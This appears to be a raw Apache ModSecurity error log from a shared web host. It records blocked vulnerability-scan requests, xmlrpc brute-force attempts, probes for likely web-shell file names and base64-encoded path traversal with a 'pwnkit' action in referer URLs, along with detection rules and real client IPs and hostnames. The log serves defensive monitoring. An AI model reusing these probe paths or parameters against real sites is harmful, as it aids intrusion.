https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:29.787575 2026] [security2:error] [pid 531797:tid 531871] [remote 17.22.237.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xdcTA7b1mZrmcA-8kkQACWgc"] [Sat Jun 13 18:10:29.795649 2026] [security2:error] [pid 531155:tid 531157] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3xdSmiP80klyS0Nnr3XQABKwE"], referer: https://northsecuritysystems.com/?product=domo-ip-6-megapixel-serie-pro-30-mts-ir-exir-exterior-ip67-ik10-lente-2-8-mm-wdr-120-db-poe-micro-sd-videoanaliticos-integrados [Sat Jun 13 18:10:29.847318 2026] [security2:error] [pid 531797:tid 532026] [client 172.56.168.133:24869] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xdcTA7b1mZrmcA-8klgAAAjI"] [Sat Jun 13 18:10:29.847525 2026] [security2:error] [pid 531797:tid 532026] [client 172.56.168.133:24869] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xdcTA7b1mZrmcA-8klgAAAjI"] [Sat Jun 13 18:10:29.932112 2026] [security2:error] [pid 531155:tid 531289] [client 20.9.67.71:41860] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.naturistavanessa.com"] [uri "/wpconf.php"] [unique_id "ai3xdSmiP80klyS0Nnr3XgAAAQ4"] [Sat Jun 13 18:10:29.955519 2026] [access_compat:error] [pid 531797:tid 531877] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:29.955810 2026] [access_compat:error] [pid 531797:tid 531877] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:29.965421 2026] [security2:error] [pid 531797:tid 531889] [remote 17.246.23.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xdcTA7b1mZrmcA-8knQACZxk"] [Sat Jun 13 18:10:29.968251 2026] [security2:error] [pid 531797:tid 532109] [client 191.234.188.123:33969] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/an9.php"] [unique_id "ai3xdcTA7b1mZrmcA-8kngAAAoI"] [Sat Jun 13 18:10:30.066772 2026] [security2:error] [pid 531797:tid 532052] [client 191.233.234.186:38864] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/loxico93.php"] [unique_id "ai3xdsTA7b1mZrmcA-8koQAAAko"] [Sat Jun 13 18:10:30.134959 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8xL3N1YnN5c3RlbQ== [Sat Jun 13 18:10:30.135255 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8xL3N1YnN5c3RlbQ== [Sat Jun 13 18:10:30.143319 2026] [security2:error] [pid 531155:tid 531361] [client 20.151.217.54:9446] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/ops.php"] [unique_id "ai3xdimiP80klyS0Nnr3YQAAAVY"] [Sat Jun 13 18:10:30.202085 2026] [security2:error] [pid 531797:tid 532037] [client 20.151.217.54:60125] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/atomlib.php"] [unique_id "ai3xdsTA7b1mZrmcA-8kpAAAAjw"] [Sat Jun 13 18:10:30.452520 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.64:22298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:30.452816 2026] [access_compat:error] [pid 531797:tid 531990] [remote 57.141.14.64:22298] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:30.461395 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94Y2I= [Sat Jun 13 18:10:30.461675 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvaW5jbHVkZS94Y2I= [Sat Jun 13 18:10:30.494134 2026] [access_compat:error] [pid 531797:tid 531915] [remote 57.141.14.109:43174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:30.494400 2026] [access_compat:error] [pid 531797:tid 531915] [remote 57.141.14.109:43174] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:30.594927 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.29:54345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:30.595198 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.29:54345] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:30.616810 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.31:34634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:30.617075 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.31:34634] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:30.637091 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:10:30.637389 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:10:30.828821 2026] [security2:error] [pid 531797:tid 532055] [client 172.171.3.232:25611] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/blox.php"] [unique_id "ai3xdsTA7b1mZrmcA-8kwgAAAk0"] [Sat Jun 13 18:10:30.863575 2026] [security2:error] [pid 531797:tid 532098] [client 191.233.234.186:38856] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/momo.php"] [unique_id "ai3xdsTA7b1mZrmcA-8kxQAAAnc"] [Sat Jun 13 18:10:30.923944 2026] [security2:error] [pid 531155:tid 531333] [client 114.119.130.231:64889] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.bowrattler.com"] [uri "/products/apparel/19-men-s-short-sleeve-shirt"] [unique_id "ai3xdimiP80klyS0Nnr3bgAAATo"], referer: https://www.bowrattler.com/products [Sat Jun 13 18:10:30.952365 2026] [security2:error] [pid 531797:tid 531941] [remote 17.241.75.34:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 34.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xdsTA7b1mZrmcA-8kywACGk0"] [Sat Jun 13 18:10:30.958063 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:30.958330 2026] [access_compat:error] [pid 531797:tid 531984] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3NiaW4= [Sat Jun 13 18:10:30.990796 2026] [security2:error] [pid 531155:tid 531298] [client 172.171.3.232:17499] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/cxl.php"] [unique_id "ai3xdimiP80klyS0Nnr3bwAAARc"] [Sat Jun 13 18:10:31.017188 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.61:34844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:31.017604 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.61:34844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:31.029773 2026] [security2:error] [pid 531797:tid 532065] [client 20.151.217.54:9433] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/fix.php"] [unique_id "ai3xd8TA7b1mZrmcA-8k0AAAAlc"] [Sat Jun 13 18:10:31.156506 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:31.156976 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:31.177875 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.7:50797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:31.178177 2026] [access_compat:error] [pid 531155:tid 531220] [remote 57.141.14.7:50797] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:31.205413 2026] [security2:error] [pid 531797:tid 532100] [client 191.234.188.123:64615] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/fallbackapi.php"] [unique_id "ai3xd8TA7b1mZrmcA-8k1QAAAnk"] [Sat Jun 13 18:10:31.207618 2026] [access_compat:error] [pid 531155:tid 531171] [remote 57.141.14.113:50266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:31.208005 2026] [access_compat:error] [pid 531155:tid 531171] [remote 57.141.14.113:50266] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:31.237055 2026] [security2:error] [pid 531797:tid 531969] [remote 17.22.237.67:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xd8TA7b1mZrmcA-8k1wACSmg"] [Sat Jun 13 18:10:31.346193 2026] [security2:error] [pid 531797:tid 531961] [remote 17.241.227.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xd8TA7b1mZrmcA-8k2AACUGE"] [Sat Jun 13 18:10:31.462353 2026] [security2:error] [pid 531155:tid 531362] [client 20.151.217.54:60116] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/loxico93.php"] [unique_id "ai3xdymiP80klyS0Nnr3eQAAAVc"] [Sat Jun 13 18:10:31.494735 2026] [access_compat:error] [pid 531797:tid 531934] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:31.495022 2026] [access_compat:error] [pid 531797:tid 531934] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:31.636336 2026] [security2:error] [pid 531797:tid 531924] [remote 216.73.216.182:62278] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/"] [unique_id "ai3xd8TA7b1mZrmcA-8k4wACdTw"] [Sat Jun 13 18:10:31.727209 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:31.727536 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:10:31.914586 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.45:38406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:31.914890 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.45:38406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:32.007262 2026] [security2:error] [pid 531155:tid 531221] [remote 17.241.219.192:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 192.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xdymiP80klyS0Nnr3hgABdUE"] [Sat Jun 13 18:10:32.051493 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:32.051962 2026] [access_compat:error] [pid 531797:tid 531967] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:32.082929 2026] [security2:error] [pid 531797:tid 531958] [remote 17.246.19.158:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 158.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xeMTA7b1mZrmcA-8k9QACJ14"] [Sat Jun 13 18:10:32.115743 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.12:53352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:32.116164 2026] [access_compat:error] [pid 531155:tid 531281] [remote 57.141.14.12:53352] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:32.210618 2026] [security2:error] [pid 531155:tid 531370] [client 20.151.217.54:65174] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id 